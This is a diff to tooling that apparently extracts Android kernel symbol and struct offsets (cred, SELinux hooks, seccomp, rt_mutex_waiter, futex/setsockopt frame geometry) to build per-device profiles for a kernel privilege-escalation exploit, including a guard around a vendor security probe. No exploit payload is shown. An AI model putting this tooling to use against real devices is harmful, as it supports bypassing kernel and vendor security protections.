b/tools/cmp_disasm.py index 0fad441f8..51008aa64 100755 --- a/tools/cmp_disasm.py +++ b/tools/cmp_disasm.py @@ -7,12 +7,21 @@ The objdump binary is resolved from $LLVM_OBJDUMP, then PATH, then the Android NDK under $ANDROID_NDK_HOME / $ANDROID_NDK_ROOT / ~/Library/Android/sdk. -Two levels are reported: - strict - only absolute hex addresses are normalised; symbol+offset - annotations must match. This is the equivalence contract used by - the CPP migration gates. - layout - symbol names/offsets are normalised too; any remaining difference - is a real instruction-shape change. +Three levels are reported, from the loosest to the strictest: + layout - symbol names/offsets and all hex are normalised; a difference + here is a real instruction-shape change. + operands - symbol/address annotations are dropped, but immediate values and + structure offsets are kept; a difference here is a real + instruction-operand change. + strict - only absolute hex addresses are normalised; symbol+offset + annotations and immediates must match. This is the equivalence + contract used by the CPP migration gates. + +A function is IDENTICAL only when strict matches. When layout matches but +operands differ, the changed immediate/offset is a hard failure, so it can +never be hidden behind a layout annotation shift. Only when both layout and +operands match but strict does not is the difference confined to symbol +spelling and is reported as LAYOUT-SHIFT for manual review. Each target lists the legacy demangled spelling and the namespace-qualified spelling; whichever is present in a binary is used, so the tool keeps working @@ -134,8 +143,23 @@ def resolve(funcs, candidates): def strict(text): + """Drop absolute addresses; keep symbol annotations and immediates.""" text = re.sub(r"0x[0-9a-f]+ <", "<", text) - return re.sub(r"0x[0-9a-f]+", "0xH", text) + parts = re.split(r"(<[^>]*>)", text) + for i in range(0, len(parts), 2): + parts[i] = re.sub(r"(?", "", text) + return re.sub(r"(?= 5: break continue + if ob != oc: + failed += 1 + print(f"OPERAND-DIFF {label} ({len(b)} instructions)") + shown = 0 + for i, (x, y) in enumerate(zip(ob, oc)): + if x != y: + print(f" [{i}] base: {b[i]}") + print(f" [{i}] cur: {c[i]}") + shown += 1 + if shown >= 5: + break + continue if sb == sc: print(f"IDENTICAL {label} ({len(b)} instructions, strict)") else: diff --git a/tools/extract_rs/src/main.rs b/tools/extract_rs/src/main.rs index 53c26de49..d07faad21 100644 --- a/tools/extract_rs/src/main.rs +++ b/tools/extract_rs/src/main.rs @@ -600,10 +600,12 @@ fn run(cli: &Cli) -> Result { report::conf_route_geometry(route, release_text, pselect_shift, &struct_offsets) }) .unwrap_or_default(); - // 5.x multicast: replace the proven-constant waiter_off with the value - // statically derived from this image's setsockopt/futex stack frames. - // No device or root is involved; the A301SO image reproduces its - // hardware-probed 0x60. + // 5.x multicast: the frame/copy-window constants (`waiter_off` / + // `buffer_size`) are image-derived. They are emitted only when the + // static derivation from this image's setsockopt/futex stack frames + // succeeds; otherwise the candidate stays without them instead of + // borrowing the hardware-probed A301SO 0x60. No device or root is + // involved; the A301SO image reproduces its hardware-probed 0x60. if route.as_deref() == Some("multicast_waiter") { const MCAST_BUFFER_SIZE: u64 = 264; const RT_MUTEX_WAITER_PI_TREE_ENTRY: u64 = 0x18; @@ -620,15 +622,12 @@ fn run(cli: &Cli) -> Result { (setsockopt depth 0x{:x} - futex depth 0x{:x})", geom.waiter_off, geom.setsockopt_depth, geom.waiter_depth ); - for entry in geometry.iter_mut() { - if entry.0 == "waiter_off" { - entry.1 = geom.waiter_off as i64; - } - } + geometry.insert(0, ("waiter_off", geom.waiter_off as i64)); + geometry.insert(1, ("buffer_size", MCAST_BUFFER_SIZE as i64)); } Err(err) => eprintln!( "warning: static multicast waiter_off derivation failed: {err}; \ - keeping the proven 5.x constant" + omitting the frame/copy-window geometry (the candidate stays incomplete)" ), } } diff --git a/tools/extract_rs/src/report.rs b/tools/extract_rs/src/report.rs index f01576c8e..ebade5b33 100644 --- a/tools/extract_rs/src/report.rs +++ b/tools/extract_rs/src/report.rs @@ -224,13 +224,16 @@ pub fn conf_route_geometry( { vec![("compact_waiter", 1)] } - // The 5.x one-shot multicast branch runs entirely from probe-derived - // constants (waiter_off / buffer_size), BTF-derived rt_mutex_waiter - // task/lock offsets and the fixed 5.x waiter-layout flag. Emit all of - // them for every 5.x kernel so the generated profile runs without - // manual edits; a kernel without BTF omits only the task/lock keys. + // The 5.x multicast branch keeps only what this image can supply: the + // BTF-derived rt_mutex_waiter task/lock offsets and the waiter-layout + // flag. The frame/copy-window constants (`waiter_off` / `buffer_size`) + // are added by the caller only after the static derivation from the + // image succeeds, so an unverified candidate never inherits the + // hardware-probed 5.x constants. "multicast_waiter" if major == Some(5) => { - crate::derive::multicast_geometry_corroborated(structs) + let mut geometry = crate::derive::multicast_geometry_btf_only(structs); + geometry.push(("compact_waiter", 1)); + geometry } _ => Vec::new(), } @@ -263,6 +266,8 @@ fn conf_offsets( ("slide_nfulnl_logger", symbol("off_slide_nfulnl_logger")), ("slide_boot_id", symbol("off_slide_boot_id")), ("slide_loggers_0_1", symbol("off_slide_loggers_0_1")), + // Ancillary vr.ko guard: the tracepoint the vendor probe hangs off. + ("vr_sys_exit_tp", symbol("off_vr_sys_exit_tp")), ] .into_iter() .filter_map(|(key, value)| value.map(|value| (key.to_string(), value))) @@ -422,6 +427,33 @@ pub fn render_conf(input: &ConfInputs<'_>) -> String { .collect(); push_conf_block(&mut lines, "offset", &offset); + // Ancillary vr.ko guard. The gate mirrors recommend_shizuku: it says the + // profile enables the behavior; whether vr.ko is on the running device is a + // separate decision, taken there (see docs/analysis/ancillary-controller-guide.md). + // Both facts are per-image and come from this image's BTF — nothing here + // reads the kernel release. The layout travels as a u8, so an offset that + // does not fit is dropped instead of being narrowed to a different member; + // without the layout the guard stays off (fail closed). + if let Some(funcs) = input + .structs + .get("vr_tracepoint_funcs") + .copied() + .flatten() + .filter(|value| (1..=u8::MAX as u32).contains(value)) + { + let gate = lines + .iter() + .position(|line| line.starts_with("recommend_shizuku")) + .map(|index| index + 1) + .unwrap_or(lines.len()); + lines.insert(gate, "recommend_vr_guard = 1".to_string()); + push_conf_block( + &mut lines, + "vr_guard", + &[("tracepoint_funcs".to_string(), funcs.to_string())], + ); + } + lines.join("\n") + "\n" } @@ -450,9 +482,11 @@ pub fn optional_symbols() -> BTreeSet<&'static str> { } /// BTF struct fields a kernel may legitimately lack: the 5.15 GKI BTF has no -/// `slab` type, so `struct_slab_cache` is missing there. Reported as missing, -/// but not failing the extract. -const OPTIONAL_STRUCT_FIELDS: &[&str] = &["struct_slab_cache"]; +/// `slab` type, so `struct_slab_cache` is missing there, and a stripped or +/// vendor BTF may not describe `struct tracepoint` at all. Reported as missing, +/// but not failing the extract — the consumers of these fields either carry a +/// fallback or treat their absence as "feature off". +const OPTIONAL_STRUCT_FIELDS: &[&str] = &["struct_slab_cache", "vr_tracepoint_funcs"]; pub fn optional_struct_fields() -> BTreeSet<&'static str> { OPTIONAL_STRUCT_FIELDS.iter().copied().collect() @@ -465,7 +499,7 @@ mod tests { conf_route_geometry, pselect_waiter_shift_for, render_conf, }; use crate::derive::Cred5x; - use std::collections::BTreeMap; + use std::collections::{BTreeMap, BTreeSet}; fn conf_fixture() -> (BTreeMap>, BTreeMap>) { let mut symbols: BTreeMap> = BTreeMap::new(); @@ -483,6 +517,49 @@ mod tests { ConfExtraOffsets::default() } + #[test] + fn conf_emits_the_vr_guard_only_when_the_layout_fits_the_transport() { + let (symbols, base_structs) = conf_fixture(); + let geometry: Vec<(&'static str, i64)> = vec![("waiter_shift", -2)]; + let render = |funcs: Option>| { + let mut structs = base_structs.clone(); + if let Some(value) = funcs { + structs.insert("vr_tracepoint_funcs".to_string(), value); + } + render_conf(&ConfInputs { + release: "6.1.145-android14-11-maybe-dirty", + phys: None, + symbols: &symbols, + structs: &structs, + route: Some("select_stack"), + route_geometry: &geometry, + cred: &conf_cred_6x(), + extra_offsets: &no_extra_offsets(), + }) + }; + let fitted = render(Some(Some(0x40))); + assert!(fitted.contains("recommend_vr_guard = 1")); + assert!(fitted.contains("vr_guard {\n tracepoint_funcs = 64\n}")); + /* An offset that cannot travel in the u8 layout is dropped instead of + * being narrowed onto a different tracepoint member: guard off. */ + for bad in [Some(Some(0x140u32)), Some(Some(0)), None] { + let out = render(bad); + assert!(!out.contains("vr_guard")); + assert!(!out.contains("recommend_vr_guard")); + } + } + + #[test] + fn optional_struct_fields_cover_the_vr_guard_layout() { + let mut structs: BTreeMap> = BTreeMap::new(); + structs.insert("task_prio".to_string(), Some(132)); + structs.insert("vr_tracepoint_funcs".to_string(), None); + /* A kernel whose BTF lacks `struct tracepoint` still extracts in every + * format: the guard layout is optional, the rest is required. */ + assert!(super::require_fields(&structs, &super::optional_struct_fields()).is_ok()); + assert!(super::require_fields(&structs, &BTreeSet::new()).is_err()); + } + #[test] fn conf_is_flattened_and_inlines_the_6x_shared_constants() { let (symbols, structs) = conf_fixture(); @@ -548,12 +625,16 @@ mod tests { (0x98, 0xffffffc00ab23b28), ], }; - let geometry = conf_route_geometry( + let mut geometry = conf_route_geometry( "multicast_waiter", "5.15.189-android13-8-00016-g51bba4309aac-ab14546557", Some(-2), &structs, ); + // The frame/copy-window constants are added only from this image's + // static derivation, exactly as main.rs does on success. + geometry.insert(0, ("waiter_off", 96)); + geometry.insert(1, ("buffer_size", 264)); let out = render_conf(&ConfInputs { release: "5.15.189-android13-8-00016-g51bba4309aac-ab14546557", phys: None, @@ -613,8 +694,6 @@ mod tests { &structs ), vec![ - ("waiter_off", 96), - ("buffer_size", 264), ("task_offset", 48), ("lock_offset", 56), ("compact_waiter", 1), @@ -637,9 +716,11 @@ mod tests { conf_route_geometry("select_stack", "6.7.1-generic", Some(-1), &structs), vec![("waiter_shift", -1)] ); - // Every 5.x multicast profile carries the full one-shot geometry so it - // runs without manual edits, even when the release string carries no - // "-android13-" train tag. + // Every 5.x multicast profile keeps the BTF-derived waiter field + // offsets and the layout flag, but never the hardware-probed + // frame/copy-window constants: those are added only by the image's + // static derivation, even when the release carries no "-android13-" + // train tag. assert_eq!( conf_route_geometry( "multicast_waiter", @@ -648,8 +729,6 @@ mod tests { &structs ), vec![ - ("waiter_off", 96), - ("buffer_size", 264), ("task_offset", 48), ("lock_offset", 56), ("compact_waiter", 1), @@ -666,8 +745,8 @@ mod tests { Some(-2), &structs, ); - assert!(geometry.contains(&("waiter_off", 96))); - assert!(geometry.contains(&("buffer_size", 264))); + assert!(!geometry.iter().any(|(key, _)| *key == "waiter_off")); + assert!(!geometry.iter().any(|(key, _)| *key == "buffer_size")); assert!(geometry.contains(&("task_offset", 48))); assert!(geometry.contains(&("lock_offset", 56))); assert!(geometry.contains(&("compact_waiter", 1))); @@ -722,7 +801,7 @@ mod tests { } #[test] - fn unverified_5x_candidate_is_runnable() { + fn unverified_5x_candidate_omits_the_frame_constants() { let (symbols, structs) = conf_fixture(); let geometry = conf_route_geometry( "multicast_waiter", @@ -741,8 +820,10 @@ mod tests { cred: &[], extra_offsets: &no_extra_offsets(), }); - assert!(out.contains("multicast_waiter {\n waiter_off = 96")); - assert!(out.contains("buffer_size = 264")); + // Without this image's static derivation the unverified candidate must + // not borrow the hardware-probed frame/copy-window constants. + assert!(!out.contains("waiter_off")); + assert!(!out.contains("buffer_size")); assert!(out.contains("task_offset = 48")); assert!(out.contains("lock_offset = 56")); assert!(out.contains("compact_waiter = 1")); @@ -890,7 +971,11 @@ mod tests { #[test] fn a301so_generated_conf_matches_the_bundled_profile() { let (release, symbols, structs, cred, extra) = a301so_inputs(); - let geometry = conf_route_geometry("multicast_waiter", &release, None, &structs); + let mut geometry = conf_route_geometry("multicast_waiter", &release, None, &structs); + // A301SO's static derivation reproduces the hardware-probed 0x60, so + // the generated profile carries the same constants as the bundled one. + geometry.insert(0, ("waiter_off", 96)); + geometry.insert(1, ("buffer_size", 264)); let generated = render_conf(&ConfInputs { release: &release, phys: None, diff --git a/tools/extract_rs/src/symbols.rs b/tools/extract_rs/src/symbols.rs index 8c0f77b00..75574a997 100644 --- a/tools/extract_rs/src/symbols.rs +++ b/tools/extract_rs/src/symbols.rs @@ -14,11 +14,19 @@ pub const SYMBOLS: &[(&str, &str)] = &[ ("off_security_hook_heads", "security_hook_heads"), ("off_slide_nfulnl_logger", "nfulnl_logger"), ("off_slide_boot_id", "sysctl_bootid"), + // Ancillary vr.ko guard (vivo/iQOO): the tracepoint the vendor's + // enforcement probe hangs off. Present on every GKI build; the profile gate + // and the runtime /proc/modules check decide whether it is acted on. + ("off_vr_sys_exit_tp", "__tracepoint_sys_exit"), ]; /// GKI kernels drop some data symbols; unresolved optionals emit 0 and the /// runtime falls back to target.h defaults. -pub const OPTIONAL_SYMBOLS: &[&str] = &["off_security_hook_heads"]; +pub const OPTIONAL_SYMBOLS: &[&str] = &[ + "off_security_hook_heads", + // May be absent on stripped or vendor kernels; 0 disables the guard. + "off_vr_sys_exit_tp", +]; /// struct name -> (offset macro, BTF field) pub const STRUCT_FIELDS: &[(&str, &[(&str, &str)])] = &[ @@ -74,6 +82,15 @@ pub const STRUCT_FIELDS: &[(&str, &[(&str, &str)])] = &[ ("seccomp_filter", "filter"), ], ), + ( + // struct tracepoint, for the ancillary vr.ko guard: offsetof(funcs) + // moved from 0x40 (6.1) to 0x48 (6.6, which added probestub), so it is + // read per image instead of being derived from the release. + "tracepoint", + &[ + ("vr_tracepoint_funcs", "funcs"), + ], + ), ]; pub type ResolvedSymbols = BTreeMap>;